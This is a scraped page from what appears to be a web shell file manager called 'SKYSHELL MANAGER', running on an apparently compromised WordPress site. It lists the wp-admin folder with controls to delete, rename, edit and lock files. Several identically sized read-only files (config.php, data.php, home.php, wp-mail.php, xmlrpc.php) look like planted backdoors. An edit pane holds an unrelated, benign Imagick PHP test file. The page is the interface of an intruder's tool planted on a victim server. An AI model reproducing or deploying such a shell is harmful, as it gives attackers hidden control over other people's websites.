📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: 280_imagickkernel_exception_invalid_origin.phpt
--TEST-- ImagickKernel::fromMatrix exceptions --SKIPIF-- <?php $imageMagickRequiredVersion = 0x680; require_once(dirname(__FILE__) . '/skipif.inc'); ?> --FILE-- <?php $kernelArray = array( array(1, 0, -1), array(1, 0, -1), array(1, 0, -1), ); $validOrigins = [ [0, 0], [2, 0], [0, 2], [2, 2], [1, 2] ]; $invalidOrigins = [ [-1, 0], [3, 0], [0, 3], [3, 3], [1, PHP_INT_MAX - 10], ]; foreach ($validOrigins as $validOrigin) { try { $kernel = ImagickKernel::fromMatrix($kernelArray, $validOrigin); } catch (\Exception $e) { echo "unexpected exception: " . $e->getMessage(); } } foreach ($invalidOrigins as $invalidOrigin) { try { $kernel = ImagickKernel::fromMatrix($kernelArray, $invalidOrigin); echo "Exception wasn't thrown for case: \n"; var_dump($invalidOrigin); } catch (\ImagickKernelException $e) { $message = $e->getMessage(); if (strpos($message, "origin_y for matrix is outside bounds of rows") === 0) { // this is fine. } else if (strpos($message, "origin_x for matrix is outside bounds of columns") === 0) { // this is fine. } else { echo "Unexpected message: " . $message . "\n"; } } } $flatKernelArray = array( array(1, 0, -2, 0, 1), ); try { $kernel = ImagickKernel::fromMatrix($flatKernelArray, [1, 4]); echo "Exception wasn't thrown for case: \n"; var_dump($invalidOrigin); } catch (\ImagickKernelException $e) { $message = $e->getMessage(); if (strpos($message, "origin_y for matrix is outside bounds of rows") === 0) { // this is fine. } else { echo "Unexpected message: " . $message . "\n"; } } $tallKernelArray = array( array(1), array(0), array(-2), array(0), array(1), ); try { $kernel = ImagickKernel::fromMatrix($tallKernelArray, [4, 1]); echo "Exception wasn't thrown for case: \n"; var_dump($invalidOrigin); } catch (\ImagickKernelException $e) { $message = $e->getMessage(); if (strpos($message, "origin_x for matrix is outside bounds of columns") === 0) { // this is fine. } else { echo "Unexpected message: " . $message . "\n"; } } echo "Complete".PHP_EOL; ?> --EXPECTF-- Complete
Save